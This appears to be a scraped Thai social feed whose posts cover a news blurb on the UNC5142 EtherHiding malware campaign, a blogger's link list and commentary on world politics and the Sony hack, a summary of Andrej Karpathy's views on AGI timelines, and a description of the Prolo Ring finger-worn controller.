Windows และ macOS ✅ โครงสร้าง infrastructure แบบคู่ขนาน (Main และ Secondary) ➡️ ใช้ wallet ที่เชื่อมโยงกับ OKX exchange https://securityonline.info/unc5142-uses-etherhiding-to-deploy-malware-via-bnb-smart-chain-smart-contracts/
    SECURITYONLINE.INFO
    UNC5142 Uses EtherHiding to Deploy Malware via BNB Smart Chain Smart Contracts
    Mandiant exposed UNC5142 for using EtherHiding—hiding malicious JavaScript in BNB Smart Chain smart contracts—to create a resilient C2 and distribute VIDAR/ATOMIC to 14,000+ sites.
    0 Comments 0 Shares 147 Views 0 Reviews
  • เรื่อง 1 ปี 2 เดือน
    เรียนท่านผู้อ่านนิทาน
    ผมเขียนนิทานมาให้อ่านกันประมาณ 1 ปี กับ 2 เดือนแล้ว ด้วยความตั้งใจจะให้นิทานทำหน้าที่เป็นนาฬิกาปลุก ให้ท่านผู้อ่านลุกขึ้นมามองรอบตัว ให้เห็นภาพกว้างขึ้น เข้าใจเรื่องราวลึกขึ้น เผื่อจะทำให้รู้สึกเบื่อที่จะอยู่แต่ในกระป๋องสี่เหลี่ยม ที่เขาตั้งใจเอามาครอบหัวเราไว้ ด้วยการศึกษาที่สอนให้เราเรียนอย่างท่องจำ ให้เรากลายเป็นเครื่องถ่ายเอกสาร จำได้แต่ไม่รู้เรื่อง แทนที่จะสอนให้เราเรี ยนอย่างรู้จักคิด หรือสำหรับท่านที่เบื่อ ที่จะตามอ่าน ตามดูสื่อ ทั้งในและนอกบ้าน ที่ตั้งอกตั้งใจฟอกย้อม จนเราไม่รู้ว่าอะไรคือเรื่องจริง อะไรคือเรื่องแต่ง หรือเบื่อที่จะฟังจากบางท่าน ที่เรียกตัวเองว่า เป็นนักวิชาการ หรือเป็นผู้รู้ ที่บอกเล่าให้เราฟังจากตำรา ที่ถูกสร้างมาให้ตอนความนึกคิดเรา หรือจากสื่อที่ฟอกมาแล้ว ฯลฯ
    ผมพยายามเขียนเล่าเรื่อง ความเป็นไปของโลกนอกบ้านเรา ที่เต็มไปด้วยการลวง การหลอก ด้วยวิธีการสาระพัด เพื่อที่จะไปครอบครอง ครอบงำ และขโมยทรัพยากรของผู้อื่น โดยการใช้อำนาจ ทั้งด้านการอาวุธทำลาย และอาวุธทางการเงิน แย่งชิงความเป็นใหญ่ ชิงความได้เปรียบกัน เป็นโลกที่แบ่งกันเป็นหลายฝักหลายฝ่าย สลับซับซ้อน
    เรื่องเหล่านี้อาจกระทบถึง เรา สมันน้อย ที่อยู่แต่ในโลกสวยของตัวเอง ไม่สนใจ ไม่เคยรู้หรือไม่รับรู้ว่า เราอยู่โลกใบเดียวกันกับเขาอื่นอีกมากมาย และ ความไม่สนใจรับรู้นี้ มีโอกาสที่อาจทำให้สมันน้อยตกเป็นเหยื่อของเกมการแย่งชิงระหว่างเขาอื่นเหล่านั้น และผจญความยากลำบากอย่างที่สมันน้อยนึกไม่ถึง
    เรื่องที่ผมเขียนมาตลอด 1 ปี 2 เดือน ผมเรียงร้อย ต่อเนื่อง และขยายซึ่งกันและกัน เพื่อให้ท่านผู้อ่านเข้าใจง่ายขึ้น แต่ความที่การเขียนนิทานของผมมันอาจจะฉิวเฉียด เสียดแทง กวนแข้งใครเขาบ้าง นิทานที่เขียนจึงเหลือคาจอเพจอย่างไม่ครบถ้วนสมบูรณ์ แม้จะทำลิงค์อัพเดทหลายครั้ง ก็ถูกกวนเละถูกลบ ถูกขโมยหายอยู่ดี ท่านผู้อ่านที่เข้ามาอ่านระหว่างทาง ก็เลยจะเหมือนการเดินทาง ที่เส้นทางขาด ตกหลุมตกบ่อ ไม่สนุก ไม่ถึงที่หมายอย่างใจนึก เผลอๆจะตกข้างทางเอา
    วันนี้เลยรวบรวมลิงค์ครบชุด ทุกเรื่อง ทุกบทความ มาให้อ่านกัน เคยอ่านแล้ว ก็อ่านซ้ำได้นะครับ ผมสนับสนุน เพราะบางที อ่านครั้งแรกอาจเห็นเรื่องราวที่เขียนยังไม่ชัด ไม่ครบ คราวนี้เอาให้เห็นภาพชัดมากขึ้น ก่อนเรื่องใหญ่ เหตุการณ์ใหญ่จะมานะครับ
    สวัสดีครับ
คนเล่านิทาน
31 ธค. 2557
    ########################
ลิงค์นิทาน เรียงตามลำดับเริ่มจากตอนล่าสุดตามนี้ครับ
    ผลัดกันล้วง
https://www.dropbox.com/s/aniibapk83rn5s9/deeply.pdf
    รุกฆาตหรือรุกคืบ
https://www.dropbox.com/s/9d54erugjrh8i90/checkmate.pdf
    แกะรอยสงครามโลกครั้งที่ 3
https://www.dropbox.com/s/8hti742ugp3qtul/WW3.pdf
    เชื้อหลอน
https://www.dropbox.com/s/juehq74io8nmqd0/spook_virus.pdf
    หลอนกลางแดด
https://www.dropbox.com/s/cqo7p4331so95ct/spook.pdf
    กลืนไม่เข้าคายไม่ออก
https://www.dropbox.com/s/j5n01c3yj5ppkl3/stuck.pdf
    เหยื่อติดคอ
https://www.dropbox.com/s/1mksvsxw7triet9/victim2.pdf
    เหยื่อ
https://www.dropbox.com/s/i3psv6qf7v9iqew/victim.pdf
    ลูกครึ่งหรือนกสองหัว
https://www.dropbox.com/s/zmqlfon1mxd9rps/twohead.pdf
    หักหน้า หักหลัง
https://www.dropbox.com/s/uvpcetgi2xf2rzo/faceback.pdf
    Chateau Christophe
https://www.dropbox.com/s/kao813jhkdad982/Chateau.pdf
    แหกคอก
https://www.dropbox.com/s/3e0lwq33uub2g4q/free.pdf
    แกะรอยเก่า
https://www.dropbox.com/s/2vqd3mdj4pkhoj5/old_track.pdf
    แกะรอยนักล่า
https://www.dropbox.com/s/g1439ng2lmds2hd/track.pdf
    คำถามในอากาศ
https://www.dropbox.com/s/lo8nsl83yx2ncwo/air.pdf
    ยุทธการกบกระโดด
https://www.dropbox.com/s/wi5dm5zkcoyhhop/forg.pdf
    เมื่อสิงห์โตหอน
https://www.dropbox.com/s/hvvcwwvatkgspdw/lion.pdf
    ยุทธการฝูงผึ้ง
https://www.dropbox.com/s/zrbj9r4g5oe0qr0/bb.pdf
    มายากลยุทธ
https://www.dropbox.com/s/2caruu9rb7amhnn/maya.pdf
    ยุทธศาสตร์สร้อยไข่มุก
https://www.dropbox.com/s/5s81f1s0t3ianz8/sm.pdf
    เรื่องจิ๊กโก่ปากซอย
https://www.dropbox.com/s/wqogwomlgkle262/jk.pdf
    #######################
ลิงค์บทความ
    ดิ้นพล่าน
https://www.dropbox.com/s/q1xqhxzrvvphtf2/fretfully.pdf
    หวังว่าเป็นแค่ข่าวลือ
https://www.dropbox.com/s/b7ksf90dxnyz71z/blackwater.pdf
    ขี้นต้นเป็นมะลิซ้อน
https://www.dropbox.com/s/b2kxw66kswhbqcp/ISIS.pdf
    บันทึกวันฉลอง
https://www.dropbox.com/s/k54szzffk3g3zqk/celebrate.pdf
    Goodbye Mrs Brown
https://www.dropbox.com/s/1y7xh934uuz1kqd/Goodbye%20Mrs%20Brown.pdf
    เรื่อง 1 ปี 2 เดือน เรียนท่านผู้อ่านนิทาน ผมเขียนนิทานมาให้อ่านกันประมาณ 1 ปี กับ 2 เดือนแล้ว ด้วยความตั้งใจจะให้นิทานทำหน้าที่เป็นนาฬิกาปลุก ให้ท่านผู้อ่านลุกขึ้นมามองรอบตัว ให้เห็นภาพกว้างขึ้น เข้าใจเรื่องราวลึกขึ้น เผื่อจะทำให้รู้สึกเบื่อที่จะอยู่แต่ในกระป๋องสี่เหลี่ยม ที่เขาตั้งใจเอามาครอบหัวเราไว้ ด้วยการศึกษาที่สอนให้เราเรียนอย่างท่องจำ ให้เรากลายเป็นเครื่องถ่ายเอกสาร จำได้แต่ไม่รู้เรื่อง แทนที่จะสอนให้เราเรี ยนอย่างรู้จักคิด หรือสำหรับท่านที่เบื่อ ที่จะตามอ่าน ตามดูสื่อ ทั้งในและนอกบ้าน ที่ตั้งอกตั้งใจฟอกย้อม จนเราไม่รู้ว่าอะไรคือเรื่องจริง อะไรคือเรื่องแต่ง หรือเบื่อที่จะฟังจากบางท่าน ที่เรียกตัวเองว่า เป็นนักวิชาการ หรือเป็นผู้รู้ ที่บอกเล่าให้เราฟังจากตำรา ที่ถูกสร้างมาให้ตอนความนึกคิดเรา หรือจากสื่อที่ฟอกมาแล้ว ฯลฯ ผมพยายามเขียนเล่าเรื่อง ความเป็นไปของโลกนอกบ้านเรา ที่เต็มไปด้วยการลวง การหลอก ด้วยวิธีการสาระพัด เพื่อที่จะไปครอบครอง ครอบงำ และขโมยทรัพยากรของผู้อื่น โดยการใช้อำนาจ ทั้งด้านการอาวุธทำลาย และอาวุธทางการเงิน แย่งชิงความเป็นใหญ่ ชิงความได้เปรียบกัน เป็นโลกที่แบ่งกันเป็นหลายฝักหลายฝ่าย สลับซับซ้อน เรื่องเหล่านี้อาจกระทบถึง เรา สมันน้อย ที่อยู่แต่ในโลกสวยของตัวเอง ไม่สนใจ ไม่เคยรู้หรือไม่รับรู้ว่า เราอยู่โลกใบเดียวกันกับเขาอื่นอีกมากมาย และ ความไม่สนใจรับรู้นี้ มีโอกาสที่อาจทำให้สมันน้อยตกเป็นเหยื่อของเกมการแย่งชิงระหว่างเขาอื่นเหล่านั้น และผจญความยากลำบากอย่างที่สมันน้อยนึกไม่ถึง เรื่องที่ผมเขียนมาตลอด 1 ปี 2 เดือน ผมเรียงร้อย ต่อเนื่อง และขยายซึ่งกันและกัน เพื่อให้ท่านผู้อ่านเข้าใจง่ายขึ้น แต่ความที่การเขียนนิทานของผมมันอาจจะฉิวเฉียด เสียดแทง กวนแข้งใครเขาบ้าง นิทานที่เขียนจึงเหลือคาจอเพจอย่างไม่ครบถ้วนสมบูรณ์ แม้จะทำลิงค์อัพเดทหลายครั้ง ก็ถูกกวนเละถูกลบ ถูกขโมยหายอยู่ดี ท่านผู้อ่านที่เข้ามาอ่านระหว่างทาง ก็เลยจะเหมือนการเดินทาง ที่เส้นทางขาด ตกหลุมตกบ่อ ไม่สนุก ไม่ถึงที่หมายอย่างใจนึก เผลอๆจะตกข้างทางเอา วันนี้เลยรวบรวมลิงค์ครบชุด ทุกเรื่อง ทุกบทความ มาให้อ่านกัน เคยอ่านแล้ว ก็อ่านซ้ำได้นะครับ ผมสนับสนุน เพราะบางที อ่านครั้งแรกอาจเห็นเรื่องราวที่เขียนยังไม่ชัด ไม่ครบ คราวนี้เอาให้เห็นภาพชัดมากขึ้น ก่อนเรื่องใหญ่ เหตุการณ์ใหญ่จะมานะครับ สวัสดีครับ
คนเล่านิทาน
31 ธค. 2557 ########################
ลิงค์นิทาน เรียงตามลำดับเริ่มจากตอนล่าสุดตามนี้ครับ ผลัดกันล้วง
https://www.dropbox.com/s/aniibapk83rn5s9/deeply.pdf รุกฆาตหรือรุกคืบ
https://www.dropbox.com/s/9d54erugjrh8i90/checkmate.pdf แกะรอยสงครามโลกครั้งที่ 3
https://www.dropbox.com/s/8hti742ugp3qtul/WW3.pdf เชื้อหลอน
https://www.dropbox.com/s/juehq74io8nmqd0/spook_virus.pdf หลอนกลางแดด
https://www.dropbox.com/s/cqo7p4331so95ct/spook.pdf กลืนไม่เข้าคายไม่ออก
https://www.dropbox.com/s/j5n01c3yj5ppkl3/stuck.pdf เหยื่อติดคอ
https://www.dropbox.com/s/1mksvsxw7triet9/victim2.pdf เหยื่อ
https://www.dropbox.com/s/i3psv6qf7v9iqew/victim.pdf ลูกครึ่งหรือนกสองหัว
https://www.dropbox.com/s/zmqlfon1mxd9rps/twohead.pdf หักหน้า หักหลัง
https://www.dropbox.com/s/uvpcetgi2xf2rzo/faceback.pdf Chateau Christophe
https://www.dropbox.com/s/kao813jhkdad982/Chateau.pdf แหกคอก
https://www.dropbox.com/s/3e0lwq33uub2g4q/free.pdf แกะรอยเก่า
https://www.dropbox.com/s/2vqd3mdj4pkhoj5/old_track.pdf แกะรอยนักล่า
https://www.dropbox.com/s/g1439ng2lmds2hd/track.pdf คำถามในอากาศ
https://www.dropbox.com/s/lo8nsl83yx2ncwo/air.pdf ยุทธการกบกระโดด
https://www.dropbox.com/s/wi5dm5zkcoyhhop/forg.pdf เมื่อสิงห์โตหอน
https://www.dropbox.com/s/hvvcwwvatkgspdw/lion.pdf ยุทธการฝูงผึ้ง
https://www.dropbox.com/s/zrbj9r4g5oe0qr0/bb.pdf มายากลยุทธ
https://www.dropbox.com/s/2caruu9rb7amhnn/maya.pdf ยุทธศาสตร์สร้อยไข่มุก
https://www.dropbox.com/s/5s81f1s0t3ianz8/sm.pdf เรื่องจิ๊กโก่ปากซอย
https://www.dropbox.com/s/wqogwomlgkle262/jk.pdf #######################
ลิงค์บทความ ดิ้นพล่าน
https://www.dropbox.com/s/q1xqhxzrvvphtf2/fretfully.pdf หวังว่าเป็นแค่ข่าวลือ
https://www.dropbox.com/s/b7ksf90dxnyz71z/blackwater.pdf ขี้นต้นเป็นมะลิซ้อน
https://www.dropbox.com/s/b2kxw66kswhbqcp/ISIS.pdf บันทึกวันฉลอง
https://www.dropbox.com/s/k54szzffk3g3zqk/celebrate.pdf Goodbye Mrs Brown
https://www.dropbox.com/s/1y7xh934uuz1kqd/Goodbye%20Mrs%20Brown.pdf
    0 Comments 0 Shares 262 Views 0 Reviews
  • ดิ้นพล่าน ตอนที่ 3

    “ดิ้นพล่าน”
    ตอนที่3 (ตอนจบ)
    The Interview หนังล้อเลียนผู้นำเกาหลีเหนือ สร้างโดยโซนี่ถูกมือดีล้วงเอาไปดูก่อน แรกๆเป็นข่าวระดับธรรมดา เน้นไปทางหาต้นตอมือล้วง ที่ขอเอาหนังไปดูก่อนออกฉายในโรง นี่มันขนาดต้องให้ประธานาธิบดีทำประชาสัมพันธ์ให้เลยนะ นายโอบามาบอก โซนี่ตัดสินใจผิดที่ไม่เอาหนังออกฉาย เพราะมันทำให้โลกรู้ว่าโซนี่ปอดเกาหลีเหนือ แล้วแบบนี้ หน้าลูกพี่จะไปเหลืออะไร

    FBI บอกว่าเป็นฝีมือนักล้วงเกาหลีเหนือ ให้ข่าวแบบนี้ผมให้สอบตก แทนที่เกาหลีเหนือจะเสียคะแนนแล้วถูกชาวบ้านด่า ปรากฏว่าชาวบ้าน (อย่างผม เป็นต้น) กลับตบมือบอก เอ็งแน่มาก แล้วล้วงเขามาได้เท่านี้ละเหรอ พรรคพวกบอก อ๋อ เรื่องขอดูหนังก่อนนี่ มันเรื่องเล็กนะลุง นั่นมันข่าวแบบกระติกน้ำร้อนหกใส่ ของจริงแสบหลังกว่านี่ มิน่า ประธานาธิบดีของประเทศ ที่อ้างว่าเป็นหมายเลขหนึ่งของโลก เลยต้องออกมาทำหน้าที่ประชาสัมพันธ้หนังแทน (ฮามาก !) หนุนให้เอาหนังออกฉายเลย หวังจะให้เกาหลีเหนือ หรือลูกพี่เกาหลีเหนือออกมาแสดงอาการ
    เปล่าหรอก ไม่มีใครแสดงอะไร เพราะที่เขาอยากเห็นกันคือ แค่น้ำร้อนหกใส่หลัง นักล่าจะออกอาการอย่างไร ก็ได้เห็นกันแล้วทั่วโลก ดิ้นกันพล่านไปเลย ดูสนุกไม่แพ้หนังของโซนี่ละมั้ง ฮาจัง
    แล้วถ้ามันแรงกว่าน้ำร้อนนี่ นักล่าจะออกอาการยังไงนะ
    มันทำให้เห็นนิสัย หรือนโยบายของนักล่าชัดว่า นักล่าต้องได้เปรียบเสมอ หรืออย่างน้อยต้องไม่เสียเปรียบ ถูกลูบคมเมื่อไหร่ น้ำร้อนหกใส่หลังเมื่อไหร่ เป็นดิ้นพล่าน มีรายการเอาคืน ไม่ให้หลุดสักเม็ด ก็คอยสังเกตวิธีเอาคืนของไอ้นักล่าไว้แล้วกัน จะได้ไม่ไปทำอะไรเข้าทางมัน แต่ระยะหลังนี่รายการเอาคืน โล่งโจ้งไปหน่อยนะ
    หลังจากนี้ น้ำร้อนจะไปหกใส่หลังนักล่าที่ไหนอีก น่าสนใจติดตาม เพราะมันคงจะไม่มีเท่านี้หรอก ยิ่งใกล้เวลา เรื่องยิ่งร้อนขึ้น ตัวละครยิ่งมากขึ้น หลังปีใหม่ คงต้องตามดูเยอรมันว่า เจ๊แกยังชอบเล่นเป็นหุ่นให้อเมริกาชักเหมือนเดิมไหม อิหร่านล่ะ ยังยืดเจรจานิวเคลียร์ไปพัฒนา ไปเหมือนเดิมหรือเปล่า สวีเดนจะจบกันแค่นี้หรือ บินเฉี่ยว ดำน้ำโผล่ขึ้นมาจ้ะเอ๋ คงมีอีกแน่ แต่ที่แน่ๆยูเครน จะเป็นหัวไม้ขีดจุดไฟสงครามหรือไม่ ยังมีอีกครับแล้วจะกลับมารายงานต่อ
    ถ้าปีนี้ รายงานตัวไม่ทัน ก็พบกันปีหน้า ขอให้คนอ่านนิทานทุกท่าน มีแต่ความสุขกายสบายใจ บุญรักษา เทวดาคุ้มครองนะครับ
    สวัสดีครับ
    คนเล่านิทาน
    26 ธค. 2557
    ดิ้นพล่าน ตอนที่ 3 “ดิ้นพล่าน” ตอนที่3 (ตอนจบ) The Interview หนังล้อเลียนผู้นำเกาหลีเหนือ สร้างโดยโซนี่ถูกมือดีล้วงเอาไปดูก่อน แรกๆเป็นข่าวระดับธรรมดา เน้นไปทางหาต้นตอมือล้วง ที่ขอเอาหนังไปดูก่อนออกฉายในโรง นี่มันขนาดต้องให้ประธานาธิบดีทำประชาสัมพันธ์ให้เลยนะ นายโอบามาบอก โซนี่ตัดสินใจผิดที่ไม่เอาหนังออกฉาย เพราะมันทำให้โลกรู้ว่าโซนี่ปอดเกาหลีเหนือ แล้วแบบนี้ หน้าลูกพี่จะไปเหลืออะไร FBI บอกว่าเป็นฝีมือนักล้วงเกาหลีเหนือ ให้ข่าวแบบนี้ผมให้สอบตก แทนที่เกาหลีเหนือจะเสียคะแนนแล้วถูกชาวบ้านด่า ปรากฏว่าชาวบ้าน (อย่างผม เป็นต้น) กลับตบมือบอก เอ็งแน่มาก แล้วล้วงเขามาได้เท่านี้ละเหรอ พรรคพวกบอก อ๋อ เรื่องขอดูหนังก่อนนี่ มันเรื่องเล็กนะลุง นั่นมันข่าวแบบกระติกน้ำร้อนหกใส่ ของจริงแสบหลังกว่านี่ มิน่า ประธานาธิบดีของประเทศ ที่อ้างว่าเป็นหมายเลขหนึ่งของโลก เลยต้องออกมาทำหน้าที่ประชาสัมพันธ้หนังแทน (ฮามาก !) หนุนให้เอาหนังออกฉายเลย หวังจะให้เกาหลีเหนือ หรือลูกพี่เกาหลีเหนือออกมาแสดงอาการ เปล่าหรอก ไม่มีใครแสดงอะไร เพราะที่เขาอยากเห็นกันคือ แค่น้ำร้อนหกใส่หลัง นักล่าจะออกอาการอย่างไร ก็ได้เห็นกันแล้วทั่วโลก ดิ้นกันพล่านไปเลย ดูสนุกไม่แพ้หนังของโซนี่ละมั้ง ฮาจัง แล้วถ้ามันแรงกว่าน้ำร้อนนี่ นักล่าจะออกอาการยังไงนะ มันทำให้เห็นนิสัย หรือนโยบายของนักล่าชัดว่า นักล่าต้องได้เปรียบเสมอ หรืออย่างน้อยต้องไม่เสียเปรียบ ถูกลูบคมเมื่อไหร่ น้ำร้อนหกใส่หลังเมื่อไหร่ เป็นดิ้นพล่าน มีรายการเอาคืน ไม่ให้หลุดสักเม็ด ก็คอยสังเกตวิธีเอาคืนของไอ้นักล่าไว้แล้วกัน จะได้ไม่ไปทำอะไรเข้าทางมัน แต่ระยะหลังนี่รายการเอาคืน โล่งโจ้งไปหน่อยนะ หลังจากนี้ น้ำร้อนจะไปหกใส่หลังนักล่าที่ไหนอีก น่าสนใจติดตาม เพราะมันคงจะไม่มีเท่านี้หรอก ยิ่งใกล้เวลา เรื่องยิ่งร้อนขึ้น ตัวละครยิ่งมากขึ้น หลังปีใหม่ คงต้องตามดูเยอรมันว่า เจ๊แกยังชอบเล่นเป็นหุ่นให้อเมริกาชักเหมือนเดิมไหม อิหร่านล่ะ ยังยืดเจรจานิวเคลียร์ไปพัฒนา ไปเหมือนเดิมหรือเปล่า สวีเดนจะจบกันแค่นี้หรือ บินเฉี่ยว ดำน้ำโผล่ขึ้นมาจ้ะเอ๋ คงมีอีกแน่ แต่ที่แน่ๆยูเครน จะเป็นหัวไม้ขีดจุดไฟสงครามหรือไม่ ยังมีอีกครับแล้วจะกลับมารายงานต่อ ถ้าปีนี้ รายงานตัวไม่ทัน ก็พบกันปีหน้า ขอให้คนอ่านนิทานทุกท่าน มีแต่ความสุขกายสบายใจ บุญรักษา เทวดาคุ้มครองนะครับ สวัสดีครับ คนเล่านิทาน 26 ธค. 2557
    0 Comments 0 Shares 255 Views 0 Reviews
  • “Andrej Karpathy: AGI ยังห่างอีกทศวรรษ” — เมื่ออดีตหัวหน้าทีม AI ของ Tesla มองอนาคตของปัญญาประดิษฐ์แบบไม่มโน

    ในบทสัมภาษณ์กับ Dwarkesh Patel นักวิจัยและวิศวกร AI ชื่อดัง Andrej Karpathy ได้อธิบายอย่างลึกซึ้งว่าทำไมเขาจึงเชื่อว่า AGI (Artificial General Intelligence) หรือปัญญาประดิษฐ์ระดับมนุษย์จะยังไม่เกิดขึ้นในเร็ววัน และเหตุใดเขาจึงเรียกช่วงนี้ว่า “ทศวรรษของเอเจนต์” ไม่ใช่ “ปีของเอเจนต์” อย่างที่หลายคนคาดหวัง

    Karpathy มองว่าแม้ LLM อย่าง Claude หรือ Codex จะน่าประทับใจ แต่ยังขาดความสามารถสำคัญ เช่น ความเข้าใจหลายรูปแบบ (multimodality), การเรียนรู้ต่อเนื่อง (continual learning), การใช้คอมพิวเตอร์, และความสามารถในการจดจำหรือวางแผนระยะยาว เขาเปรียบเทียบว่า LLM วันนี้ยังไม่สามารถทำหน้าที่เหมือน “อินเทอร์น” ที่ทำงานร่วมกับมนุษย์ได้จริง

    เขายังวิจารณ์แนวทาง reinforcement learning (RL) ว่า “แย่ แต่ทางเลือกอื่นแย่ยิ่งกว่า” และยกตัวอย่างว่าการพัฒนา AGI ผ่านเกม (เช่น Atari หรือ Universe project ของ OpenAI) เป็น “ทางเบี่ยง” ที่ไม่ตอบโจทย์ เพราะโลกจริงซับซ้อนกว่าเกมมาก

    Karpathy เสนอแนวคิดว่าเราควรสร้าง “ghosts” หรือ “วิญญาณดิจิทัล” ที่เรียนรู้จากเอกสารบนอินเทอร์เน็ต แทนที่จะพยายามเลียนแบบสัตว์หรือสมองมนุษย์โดยตรง เพราะวิวัฒนาการและสมองมีความซับซ้อนที่เราไม่สามารถจำลองได้ง่าย ๆ

    Karpathy เชื่อว่า AGI ยังต้องใช้เวลาอีกประมาณ 10 ปี
    เพราะยังมีข้อจำกัดด้านความเข้าใจ, ความจำ, และการเรียนรู้

    เขาเรียกช่วงนี้ว่า “ทศวรรษของเอเจนต์” ไม่ใช่ “ปีของเอเจนต์”
    เพราะการพัฒนาเอเจนต์ที่ใช้งานได้จริงยังต้องใช้เวลา

    LLM ปัจจุบันยังไม่สามารถทำงานเหมือนอินเทอร์นได้
    ขาดความสามารถในการใช้คอมพิวเตอร์, เรียนรู้ต่อเนื่อง, และจดจำ

    เขาวิพากษ์ reinforcement learning ว่าไม่เหมาะกับการสร้าง AGI
    โดยเฉพาะแนวทางที่เน้นการเล่นเกม

    เสนอแนวคิด “ghosts” หรือ “วิญญาณดิจิทัล” ที่เรียนรู้จากอินเทอร์เน็ต
    เป็นแนวทางที่เป็นไปได้มากกว่าการเลียนแบบสมองสัตว์

    เปรียบเทียบ pre-training กับ “วิวัฒนาการแบบหยาบ ๆ”
    เป็นวิธีที่เราสามารถใช้ได้จริงในปัจจุบัน

    https://www.dwarkesh.com/p/andrej-karpathy
    🧠 “Andrej Karpathy: AGI ยังห่างอีกทศวรรษ” — เมื่ออดีตหัวหน้าทีม AI ของ Tesla มองอนาคตของปัญญาประดิษฐ์แบบไม่มโน ในบทสัมภาษณ์กับ Dwarkesh Patel นักวิจัยและวิศวกร AI ชื่อดัง Andrej Karpathy ได้อธิบายอย่างลึกซึ้งว่าทำไมเขาจึงเชื่อว่า AGI (Artificial General Intelligence) หรือปัญญาประดิษฐ์ระดับมนุษย์จะยังไม่เกิดขึ้นในเร็ววัน และเหตุใดเขาจึงเรียกช่วงนี้ว่า “ทศวรรษของเอเจนต์” ไม่ใช่ “ปีของเอเจนต์” อย่างที่หลายคนคาดหวัง Karpathy มองว่าแม้ LLM อย่าง Claude หรือ Codex จะน่าประทับใจ แต่ยังขาดความสามารถสำคัญ เช่น ความเข้าใจหลายรูปแบบ (multimodality), การเรียนรู้ต่อเนื่อง (continual learning), การใช้คอมพิวเตอร์, และความสามารถในการจดจำหรือวางแผนระยะยาว เขาเปรียบเทียบว่า LLM วันนี้ยังไม่สามารถทำหน้าที่เหมือน “อินเทอร์น” ที่ทำงานร่วมกับมนุษย์ได้จริง เขายังวิจารณ์แนวทาง reinforcement learning (RL) ว่า “แย่ แต่ทางเลือกอื่นแย่ยิ่งกว่า” และยกตัวอย่างว่าการพัฒนา AGI ผ่านเกม (เช่น Atari หรือ Universe project ของ OpenAI) เป็น “ทางเบี่ยง” ที่ไม่ตอบโจทย์ เพราะโลกจริงซับซ้อนกว่าเกมมาก Karpathy เสนอแนวคิดว่าเราควรสร้าง “ghosts” หรือ “วิญญาณดิจิทัล” ที่เรียนรู้จากเอกสารบนอินเทอร์เน็ต แทนที่จะพยายามเลียนแบบสัตว์หรือสมองมนุษย์โดยตรง เพราะวิวัฒนาการและสมองมีความซับซ้อนที่เราไม่สามารถจำลองได้ง่าย ๆ ✅ Karpathy เชื่อว่า AGI ยังต้องใช้เวลาอีกประมาณ 10 ปี ➡️ เพราะยังมีข้อจำกัดด้านความเข้าใจ, ความจำ, และการเรียนรู้ ✅ เขาเรียกช่วงนี้ว่า “ทศวรรษของเอเจนต์” ไม่ใช่ “ปีของเอเจนต์” ➡️ เพราะการพัฒนาเอเจนต์ที่ใช้งานได้จริงยังต้องใช้เวลา ✅ LLM ปัจจุบันยังไม่สามารถทำงานเหมือนอินเทอร์นได้ ➡️ ขาดความสามารถในการใช้คอมพิวเตอร์, เรียนรู้ต่อเนื่อง, และจดจำ ✅ เขาวิพากษ์ reinforcement learning ว่าไม่เหมาะกับการสร้าง AGI ➡️ โดยเฉพาะแนวทางที่เน้นการเล่นเกม ✅ เสนอแนวคิด “ghosts” หรือ “วิญญาณดิจิทัล” ที่เรียนรู้จากอินเทอร์เน็ต ➡️ เป็นแนวทางที่เป็นไปได้มากกว่าการเลียนแบบสมองสัตว์ ✅ เปรียบเทียบ pre-training กับ “วิวัฒนาการแบบหยาบ ๆ” ➡️ เป็นวิธีที่เราสามารถใช้ได้จริงในปัจจุบัน https://www.dwarkesh.com/p/andrej-karpathy
    0 Comments 0 Shares 141 Views 0 Reviews
  • “Prolo Ring แหวนควบคุมคอมพิวเตอร์ด้วยนิ้ว — อุปกรณ์สวมใส่ที่อาจเปลี่ยนวิธีใช้เมาส์ไปตลอดกาล” — เมื่อการควบคุมคอมพิวเตอร์ไม่ต้องใช้เมาส์อีกต่อไป แค่ขยับนิ้วก็สั่งงานได้

    Prolo Ring คืออุปกรณ์สวมใส่ที่เปิดตัวผ่าน Kickstarter โดยมีเป้าหมายเปลี่ยนวิธีที่เราควบคุมคอมพิวเตอร์ ด้วยการใช้แหวนที่สวมบนนิ้วแทนเมาส์แบบเดิม ๆ ตัวแหวนทำจากอะลูมิเนียมชุบอโนไดซ์ มีให้เลือก 3 สี และประกอบด้วย 3 ส่วนหลัก: เซนเซอร์ตรวจจับการเคลื่อนไหวแบบ 6 แกน, แทร็กแพดขนาดเล็ก และ “modstrip” ที่ทำหน้าที่เป็นปุ่มเสริม

    แทร็กแพดบนแหวนสามารถแตะ, กดค้าง, หรือปัดเพื่อสั่งงาน เช่น คลิกขวา, เปิดเมนู, เล่น/หยุดวิดีโอ หรือปรับระดับเสียง ส่วน modstrip จะช่วยเพิ่มฟังก์ชันให้แทร็กแพด เช่น ใช้เป็นปุ่ม Shift หรือ Ctrl เพื่อเรียกคำสั่งพิเศษ

    ที่น่าสนใจคือ Prolo Ring รองรับการตั้งค่ามาโครผ่านแอป companion และสามารถสั่งงานด้วย “air gestures” ได้มากกว่า 40 รูปแบบ เช่น ปัดนิ้วกลางอากาศเพื่อเปลี่ยนภาพ ซึ่งคล้ายกับเทคโนโลยี Soli ของ Google ที่เคยใช้ใน Pixel 4 XL

    แหวนนี้เชื่อมต่อผ่าน Bluetooth และสามารถใช้งานได้กับทุกระบบปฏิบัติการโดยไม่ต้องใช้แอปเสริม แต่หากต้องการใช้ฟีเจอร์ขั้นสูง เช่น การตั้งค่ามาโครหรือปรับแต่ง gesture ผู้ใช้ต้องมี “license” ซึ่งมีเฉพาะในรุ่น Pro ราคา $149 ขึ้นไป โดยรุ่นพื้นฐาน $99 และ $129 ไม่รวม license นี้

    แบตเตอรี่ใช้งานได้ 8 ชั่วโมงต่อการชาร์จหนึ่งครั้ง และสามารถชาร์จผ่านเคสไร้สายที่เก็บพลังงานได้ถึง 30 วัน

    Prolo Ring เป็นอุปกรณ์สวมใส่ที่ควบคุมคอมพิวเตอร์ด้วยนิ้ว
    ใช้เซนเซอร์ 6 แกน, แทร็กแพด และ modstrip

    แทร็กแพดรองรับการแตะ, กดค้าง, ปัด เพื่อสั่งงาน
    ใช้ควบคุมเมนู, เล่น/หยุดวิดีโอ, ปรับเสียง ฯลฯ

    modstrip ทำหน้าที่เป็นปุ่มเสริมเพื่อเพิ่มฟังก์ชัน
    ใช้ร่วมกับแทร็กแพดเพื่อเรียกคำสั่งพิเศษ

    รองรับ air gestures มากกว่า 40 รูปแบบ
    เช่น ปัดนิ้วเพื่อเปลี่ยนภาพหรือเลื่อนสไลด์

    เชื่อมต่อผ่าน Bluetooth และรองรับทุกระบบปฏิบัติการ
    ใช้งานได้แม้ไม่ติดตั้งแอป companion

